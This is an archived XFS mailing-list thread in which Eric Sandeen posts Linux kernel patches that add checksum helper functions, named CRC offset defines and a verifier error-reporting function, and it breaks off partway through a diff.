--- fs/xfs/xfs_alloc.c | 4 ++-- fs/xfs/xfs_attr_leaf.c | 2 +- fs/xfs/xfs_btree.c | 6 ++---- fs/xfs/xfs_buf.h | 7 +++++++ fs/xfs/xfs_da_btree.c | 2 +- fs/xfs/xfs_dir2_block.c | 2 +- fs/xfs/xfs_dir2_data.c | 2 +- fs/xfs/xfs_dir2_leaf.c | 2 +- fs/xfs/xfs_dir2_node.c | 2 +- fs/xfs/xfs_ialloc.c | 2 +- fs/xfs/xfs_sb.c | 2 +- fs/xfs/xfs_symlink_remote.c | 2 +- 12 files changed, 20 insertions(+), 15 deletions(-) diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index 5050c9a..9c7cf3d 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -515,7 +515,7 @@ xfs_agfl_write_verify( if (bip) XFS_BUF_TO_AGFL(bp)->agfl_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGFL_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_AGFL_CRC_OFF); } const struct xfs_buf_ops xfs_agfl_buf_ops = { @@ -2269,7 +2269,7 @@ xfs_agf_write_verify( if (bip) XFS_BUF_TO_AGF(bp)->agf_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGF_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_AGF_CRC_OFF); } const struct xfs_buf_ops xfs_agf_buf_ops = { diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index a19a023..b552378 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -224,7 +224,7 @@ xfs_attr3_leaf_write_verify( if (bip) hdr3->info.lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_ATTR3_LEAF_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF); } /* diff --git a/fs/xfs/xfs_btree.c b/fs/xfs/xfs_btree.c index 4e8524d..e80d59f 100644 --- a/fs/xfs/xfs_btree.c +++ b/fs/xfs/xfs_btree.c @@ -234,8 +234,7 @@ xfs_btree_lblock_calc_crc( return; if (bip) block->bb_u.l.bb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_BTREE_LBLOCK_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_BTREE_LBLOCK_CRC_OFF); } bool @@ -267,8 +266,7 @@ xfs_btree_sblock_calc_crc( return; if (bip) block->bb_u.s.bb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_BTREE_SBLOCK_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_BTREE_SBLOCK_CRC_OFF); } bool diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index 5edcfba..b8a3abf 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -376,6 +376,13 @@ xfs_buf_verify_cksum(struct xfs_buf *bp, unsigned long cksum_offset) cksum_offset); } +static inline void +xfs_buf_update_cksum(struct xfs_buf *bp, unsigned long cksum_offset) +{ + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), + cksum_offset); +} + /* * Handling of buftargs. */ diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 6cece55..75ef990 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -196,7 +196,7 @@ xfs_da3_node_write_verify( if (bip) hdr3->info.lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DA3_NODE_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DA3_NODE_CRC_OFF); } /* diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 948dc39..724377e 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -117,7 +117,7 @@ xfs_dir3_block_write_verify( if (bip) hdr3->lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DIR3_DATA_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DIR3_DATA_CRC_OFF); } const struct xfs_buf_ops xfs_dir3_block_buf_ops = { diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 1952f00..74ae85e 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -295,7 +295,7 @@ xfs_dir3_data_write_verify( if (bip) hdr3->lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DIR3_DATA_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DIR3_DATA_CRC_OFF); } const struct xfs_buf_ops xfs_dir3_data_buf_ops = { diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index 1a412eb..dffb61b 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -208,7 +208,7 @@ __write_verify( if (bip) hdr3->info.lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DIR3_LEAF_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DIR3_LEAF_CRC_OFF); } static void diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 875e7c0..0904b20 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -143,7 +143,7 @@ xfs_dir3_free_write_verify( if (bip) hdr3->lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DIR3_FREE_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DIR3_FREE_CRC_OFF); } const struct xfs_buf_ops xfs_dir3_free_buf_ops = { diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index d6a879d..4657586 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1600,7 +1600,7 @@ xfs_agi_write_verify( if (bip) XFS_BUF_TO_AGI(bp)->agi_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGI_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_AGI_CRC_OFF); } const struct xfs_buf_ops xfs_agi_buf_ops = { diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index 36f287f..818359f 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -673,7 +673,7 @@ xfs_sb_write_verify( if (bip) XFS_BUF_TO_SBP(bp)->sb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_SB_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_SB_CRC_OFF); } const struct xfs_buf_ops xfs_sb_buf_ops = { diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c index b172955..defa09f 100644 --- a/fs/xfs/xfs_symlink_remote.c +++ b/fs/xfs/xfs_symlink_remote.c @@ -161,7 +161,7 @@ xfs_symlink_write_verify( struct xfs_dsymlink_hdr *dsl = bp->b_addr; dsl->sl_lsn = cpu_to_be64(bip->bli_item.li_lsn); } - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_SYMLINK_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_SYMLINK_CRC_OFF); } const struct xfs_buf_ops xfs_symlink_buf_ops = { -- 1.7.1 From sandeen@sandeen.net Tue Feb 18 17:52:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5E4D77F76 for ; Tue, 18 Feb 2014 17:52:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C4813AC004 for ; Tue, 18 Feb 2014 15:52:33 -0800 (PST) X-ASG-Debug-ID: 1392767552-04cb6c6de2565a40001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 6z56WtutI9UQJerz for ; Tue, 18 Feb 2014 15:52:32 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: by sandeen.net (Postfix, from userid 500) id 9F8256538478; Tue, 18 Feb 2014 17:52:31 -0600 (CST) From: Eric Sandeen To: xfs@oss.sgi.com Subject: [PATCH 7/9] xfs: add xfs_verifier_error() Date: Tue, 18 Feb 2014 17:52:27 -0600 X-ASG-Orig-Subj: [PATCH 7/9] xfs: add xfs_verifier_error() Message-Id: <1392767549-25574-8-git-send-email-sandeen@redhat.com> X-Mailer: git-send-email 1.7.1 In-Reply-To: <1392767549-25574-1-git-send-email-sandeen@redhat.com> References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392767552 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- We want to distinguish between corruption, CRC errors, etc. In addition, the full stack trace on verifier errors seems less than helpful; it looks more like an oops than corruption. Create a new function to specifically alert the user to verifier errors, which can differentiate between EFSCORRUPTED and CRC mismatches. It doesn't dump stack unless the xfs error level is turned up high. Define a new error message (EFSBADCRC) to clearly identify CRC errors. (Defined to EILSEQ, bad byte sequence) Signed-off-by: Eric Sandeen --- fs/xfs/xfs_error.c | 26 ++++++++++++++++++++++++++ fs/xfs/xfs_error.h | 1 + fs/xfs/xfs_linux.h | 1 + 3 files changed, 28 insertions(+), 0 deletions(-) diff --git a/fs/xfs/xfs_error.c b/fs/xfs/xfs_error.c index 9995b80..8733c59 100644 --- a/fs/xfs/xfs_error.c +++ b/fs/xfs/xfs_error.c @@ -178,3 +178,29 @@ xfs_corruption_error( xfs_error_report(tag, level, mp, filename, linenum, ra); xfs_alert(mp, "Corruption detected. Unmount and run xfs_repair"); } + +/* + * Warnings specifically for verifier errors. Differentiate CRC vs. invalid + * values, and omit the stack trace unless the error level is tuned high. + */ +void +xfs_verifier_error( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + + xfs_alert(mp, "Metadata %s detected at %pF, block 0x%llx", + bp->b_error == EFSBADCRC ? "CRC error" : "corruption", + __return_address, bp->b_bn); + + xfs_alert(mp, "Unmount and run xfs_repair"); + + /* XXX handle page-mapped buffers too? */ + if (xfs_error_level >= XFS_ERRLEVEL_LOW && bp->b_addr) { + xfs_alert(mp, "First 64 bytes of corrupted metadata buffer:"); + xfs_hex_dump(bp->b_addr, 64); + } + + if (xfs_error_level >= XFS_ERRLEVEL_HIGH) + xfs_stack_trace(); +} diff --git a/fs/xfs/xfs_error.h b/fs/xfs/xfs_error.h index 079a367..c1c57d4 100644 --- a/fs/xfs/xfs_error.h +++ b/fs/xfs/xfs_error.h @@ -34,6 +34,7 @@ extern void xfs_error_report(const char *tag, int level, struct xfs_mount *mp, extern void xfs_corruption_error(const char *tag, int level, struct xfs_mount *mp, void *p, const char *filename, int linenum, inst_t *ra); +extern void xfs_verifier_error(struct xfs_buf *bp); #define XFS_ERROR_REPORT(e, lvl, mp) \ xfs_error_report(e, lvl, mp, __FILE__, __LINE__, __return_address) diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h index e8fed74..016ea8d 100644 --- a/fs/xfs/xfs_linux.h +++ b/fs/xfs/xfs_linux.h @@ -179,6 +179,7 @@ typedef __uint64_t __psunsigned_t; #define ENOATTR ENODATA /* Attribute not found */ #define EWRONGFS EINVAL /* Mount with wrong filesystem type */ #define EFSCORRUPTED EUCLEAN /* Filesystem is corrupted */ +#define EFSBADCRC EILSEQ /* Bad CRC detected */ #define SYNCHRONIZE() barrier() #define __return_address __builtin_return_address(0) -- 1.7.1 From sandeen@sandeen.net Tue Feb 18 17:52:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 050E07F51 for ; Tue, 18 Feb 2014 17:52:34 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D77DD30408E for ; Tue, 18 Feb 2014 15:52:33 -0800 (PST) X-ASG-Debug-ID: 1392767551-04bdf00fc91323b0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Kjpfi7Ur3tvwhuHy for ; Tue, 18 Feb 2014 15:52:31 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: by sandeen.net (Postfix, from userid 500) id 74494651AC34; Tue, 18 Feb 2014 17:52:31 -0600 (CST) From: Eric Sandeen To: xfs@oss.sgi.com Subject: [PATCH 4/9] xfs: Use defines for CRC offsets in all cases Date: Tue, 18 Feb 2014 17:52:24 -0600 X-ASG-Orig-Subj: [PATCH 4/9] xfs: Use defines for CRC offsets in all cases Message-Id: <1392767549-25574-5-git-send-email-sandeen@redhat.com> X-Mailer: git-send-email 1.7.1 In-Reply-To: <1392767549-25574-1-git-send-email-sandeen@redhat.com> References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392767551 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Some calls to crc functions used useful #defines, others used awkward offsetof() constructs. Switch them all to #define to make things a bit cleaner. Signed-off-by: Eric Sandeen --- fs/xfs/xfs_ag.h | 6 ++++++ fs/xfs/xfs_alloc.c | 10 ++++------ fs/xfs/xfs_dinode.h | 2 ++ fs/xfs/xfs_format.h | 2 ++ fs/xfs/xfs_ialloc.c | 5 ++--- fs/xfs/xfs_inode_buf.c | 4 ++-- fs/xfs/xfs_sb.c | 5 ++--- fs/xfs/xfs_sb.h | 2 ++ fs/xfs/xfs_symlink_remote.c | 5 ++--- 9 files changed, 24 insertions(+), 17 deletions(-) diff --git a/fs/xfs/xfs_ag.h b/fs/xfs/xfs_ag.h index 3fc1098..0fdd410 100644 --- a/fs/xfs/xfs_ag.h +++ b/fs/xfs/xfs_ag.h @@ -89,6 +89,8 @@ typedef struct xfs_agf { /* structure must be padded to 64 bit alignment */ } xfs_agf_t; +#define XFS_AGF_CRC_OFF offsetof(struct xfs_agf, agf_crc) + #define XFS_AGF_MAGICNUM 0x00000001 #define XFS_AGF_VERSIONNUM 0x00000002 #define XFS_AGF_SEQNO 0x00000004 @@ -167,6 +169,8 @@ typedef struct xfs_agi { /* structure must be padded to 64 bit alignment */ } xfs_agi_t; +#define XFS_AGI_CRC_OFF offsetof(struct xfs_agi, agi_crc) + #define XFS_AGI_MAGICNUM 0x00000001 #define XFS_AGI_VERSIONNUM 0x00000002 #define XFS_AGI_SEQNO 0x00000004 @@ -222,6 +226,8 @@ typedef struct xfs_agfl { __be32 agfl_bno[]; /* actually XFS_AGFL_SIZE(mp) */ } xfs_agfl_t; +#define XFS_AGFL_CRC_OFF offsetof(struct xfs_agfl, agfl_crc) + /* * tags for inode radix tree */ diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index 9eab2df..72ea855 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -486,7 +486,7 @@ xfs_agfl_read_verify( return; agfl_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agfl, agfl_crc)); + XFS_AGFL_CRC_OFF); agfl_ok = agfl_ok && xfs_agfl_verify(bp); @@ -516,8 +516,7 @@ xfs_agfl_write_verify( if (bip) XFS_BUF_TO_AGFL(bp)->agfl_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agfl, agfl_crc)); + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGFL_CRC_OFF); } const struct xfs_buf_ops xfs_agfl_buf_ops = { @@ -2242,7 +2241,7 @@ xfs_agf_read_verify( if (xfs_sb_version_hascrc(&mp->m_sb)) agf_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agf, agf_crc)); + XFS_AGF_CRC_OFF); agf_ok = agf_ok && xfs_agf_verify(mp, bp); @@ -2272,8 +2271,7 @@ xfs_agf_write_verify( if (bip) XFS_BUF_TO_AGF(bp)->agf_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agf, agf_crc)); + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGF_CRC_OFF); } const struct xfs_buf_ops xfs_agf_buf_ops = { diff --git a/fs/xfs/xfs_dinode.h b/fs/xfs/xfs_dinode.h index e5869b5..623bbe8 100644 --- a/fs/xfs/xfs_dinode.h +++ b/fs/xfs/xfs_dinode.h @@ -89,6 +89,8 @@ typedef struct xfs_dinode { /* structure must be padded to 64 bit alignment */ } xfs_dinode_t; +#define XFS_DINODE_CRC_OFF offsetof(struct xfs_dinode, di_crc) + #define DI_MAX_FLUSH 0xffff /* diff --git a/fs/xfs/xfs_format.h b/fs/xfs/xfs_format.h index b6ab5a3..9898f31 100644 --- a/fs/xfs/xfs_format.h +++ b/fs/xfs/xfs_format.h @@ -145,6 +145,8 @@ struct xfs_dsymlink_hdr { __be64 sl_lsn; }; +#define XFS_SYMLINK_CRC_OFF offsetof(struct xfs_dsymlink_hdr, sl_crc) + /* * The maximum pathlen is 1024 bytes. Since the minimum file system * blocksize is 512 bytes, we can get a max of 3 extents back from diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 5d7f105..d79210b 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1572,7 +1572,7 @@ xfs_agi_read_verify( if (xfs_sb_version_hascrc(&mp->m_sb)) agi_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agi, agi_crc)); + XFS_AGI_CRC_OFF); agi_ok = agi_ok && xfs_agi_verify(bp); if (unlikely(XFS_TEST_ERROR(!agi_ok, mp, XFS_ERRTAG_IALLOC_READ_AGI, @@ -1600,8 +1600,7 @@ xfs_agi_write_verify( if (bip) XFS_BUF_TO_AGI(bp)->agi_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agi, agi_crc)); + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGI_CRC_OFF); } const struct xfs_buf_ops xfs_agi_buf_ops = { diff --git a/fs/xfs/xfs_inode_buf.c b/fs/xfs/xfs_inode_buf.c index 4fc9f39..606b43a 100644 --- a/fs/xfs/xfs_inode_buf.c +++ b/fs/xfs/xfs_inode_buf.c @@ -306,7 +306,7 @@ xfs_dinode_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; if (!xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, - offsetof(struct xfs_dinode, di_crc))) + XFS_DINODE_CRC_OFF)) return false; if (be64_to_cpu(dip->di_ino) != ip->i_ino) return false; @@ -327,7 +327,7 @@ xfs_dinode_calc_crc( ASSERT(xfs_sb_version_hascrc(&mp->m_sb)); crc = xfs_start_cksum((char *)dip, mp->m_sb.sb_inodesize, - offsetof(struct xfs_dinode, di_crc)); + XFS_DINODE_CRC_OFF); dip->di_crc = xfs_end_cksum(crc); } diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index 1e11679..1ea7c86 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -611,7 +611,7 @@ xfs_sb_read_verify( dsb->sb_crc != 0)) { if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_sb, sb_crc))) { + XFS_SB_CRC_OFF)) { /* Only fail bad secondaries on a known V5 filesystem */ if (bp->b_bn == XFS_SB_DADDR || xfs_sb_version_hascrc(&mp->m_sb)) { @@ -674,8 +674,7 @@ xfs_sb_write_verify( if (bip) XFS_BUF_TO_SBP(bp)->sb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_sb, sb_crc)); + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_SB_CRC_OFF); } const struct xfs_buf_ops xfs_sb_buf_ops = { diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index 35061d4..f7b2fe7 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -182,6 +182,8 @@ typedef struct xfs_sb { /* must be padded to 64 bit alignment */ } xfs_sb_t; +#define XFS_SB_CRC_OFF offsetof(struct xfs_sb, sb_crc) + /* * Superblock - on disk version. Must match the in core version above. * Must be padded to 64 bit alignment. diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c index bf59a2b..7a705a4 100644 --- a/fs/xfs/xfs_symlink_remote.c +++ b/fs/xfs/xfs_symlink_remote.c @@ -134,7 +134,7 @@ xfs_symlink_read_verify( return; if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_dsymlink_hdr, sl_crc)) || + XFS_SYMLINK_CRC_OFF) || !xfs_symlink_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); @@ -162,8 +162,7 @@ xfs_symlink_write_verify( struct xfs_dsymlink_hdr *dsl = bp->b_addr; dsl->sl_lsn = cpu_to_be64(bip->bli_item.li_lsn); } - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_dsymlink_hdr, sl_crc)); + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_SYMLINK_CRC_OFF); } const struct xfs_buf_ops xfs_symlink_buf_ops = { -- 1.7.1 From sandeen@sandeen.net Tue Feb 18 17:52:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A8D417F3F for ; Tue, 18 Feb 2014 17:52:34 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 782E6304081 for ; Tue, 18 Feb 2014 15:52:34 -0800 (PST) X-ASG-Debug-ID: 1392767552-04bdf0083a15080001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id brAMenwvi1SGR0x7 for ; Tue, 18 Feb 2014 15:52:32 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: by sandeen.net (Postfix, from userid 500) id 8275B6525FFE; Tue, 18 Feb 2014 17:52:31 -0600 (CST) From: Eric Sandeen To: xfs@oss.sgi.com Subject: [PATCH 5/9] xfs: add helper for verifying checksums on xfs_bufs Date: Tue, 18 Feb 2014 17:52:25 -0600 X-ASG-Orig-Subj: [PATCH 5/9] xfs: add helper for verifying checksums on xfs_bufs Message-Id: <1392767549-25574-6-git-send-email-sandeen@redhat.com> X-Mailer: git-send-email 1.7.1 In-Reply-To: <1392767549-25574-1-git-send-email-sandeen@redhat.com> References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392767552 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Many/most callers of xfs_verify_cksum() pass bp->b_addr and BBTOB(bp->b_length) as the first 2 args. Add a helper which can just accept the bp and the crc offset, and work it out on its own, for brevity. Signed-off-by: Eric Sandeen --- fs/xfs/xfs_alloc.c | 6 ++---- fs/xfs/xfs_attr_leaf.c | 3 +-- fs/xfs/xfs_btree.c | 8 ++++---- fs/xfs/xfs_buf.h | 7 +++++++ fs/xfs/xfs_da_btree.c | 3 +-- fs/xfs/xfs_dir2_block.c | 3 +-- fs/xfs/xfs_dir2_data.c | 3 +-- fs/xfs/xfs_dir2_leaf.c | 3 +-- fs/xfs/xfs_dir2_node.c | 3 +-- fs/xfs/xfs_ialloc.c | 4 ++-- fs/xfs/xfs_linux.h | 1 + fs/xfs/xfs_sb.c | 3 +-- fs/xfs/xfs_symlink_remote.c | 3 +-- 13 files changed, 24 insertions(+), 26 deletions(-) diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index 72ea855..5050c9a 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -485,8 +485,7 @@ xfs_agfl_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - agfl_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_AGFL_CRC_OFF); + agfl_ok = xfs_buf_verify_cksum(bp, XFS_AGFL_CRC_OFF); agfl_ok = agfl_ok && xfs_agfl_verify(bp); @@ -2240,8 +2239,7 @@ xfs_agf_read_verify( int agf_ok = 1; if (xfs_sb_version_hascrc(&mp->m_sb)) - agf_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_AGF_CRC_OFF); + agf_ok = xfs_buf_verify_cksum(bp, XFS_AGF_CRC_OFF); agf_ok = agf_ok && xfs_agf_verify(mp, bp); diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index 7b126f4..a19a023 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -240,8 +240,7 @@ xfs_attr3_leaf_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_ATTR3_LEAF_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) || !xfs_attr3_leaf_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/fs/xfs/xfs_btree.c b/fs/xfs/xfs_btree.c index 9adaae4..4e8524d 100644 --- a/fs/xfs/xfs_btree.c +++ b/fs/xfs/xfs_btree.c @@ -243,8 +243,8 @@ xfs_btree_lblock_verify_crc( struct xfs_buf *bp) { if (xfs_sb_version_hascrc(&bp->b_target->bt_mount->m_sb)) - return xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_BTREE_LBLOCK_CRC_OFF); + return xfs_buf_verify_cksum(bp, XFS_BTREE_LBLOCK_CRC_OFF); + return true; } @@ -276,8 +276,8 @@ xfs_btree_sblock_verify_crc( struct xfs_buf *bp) { if 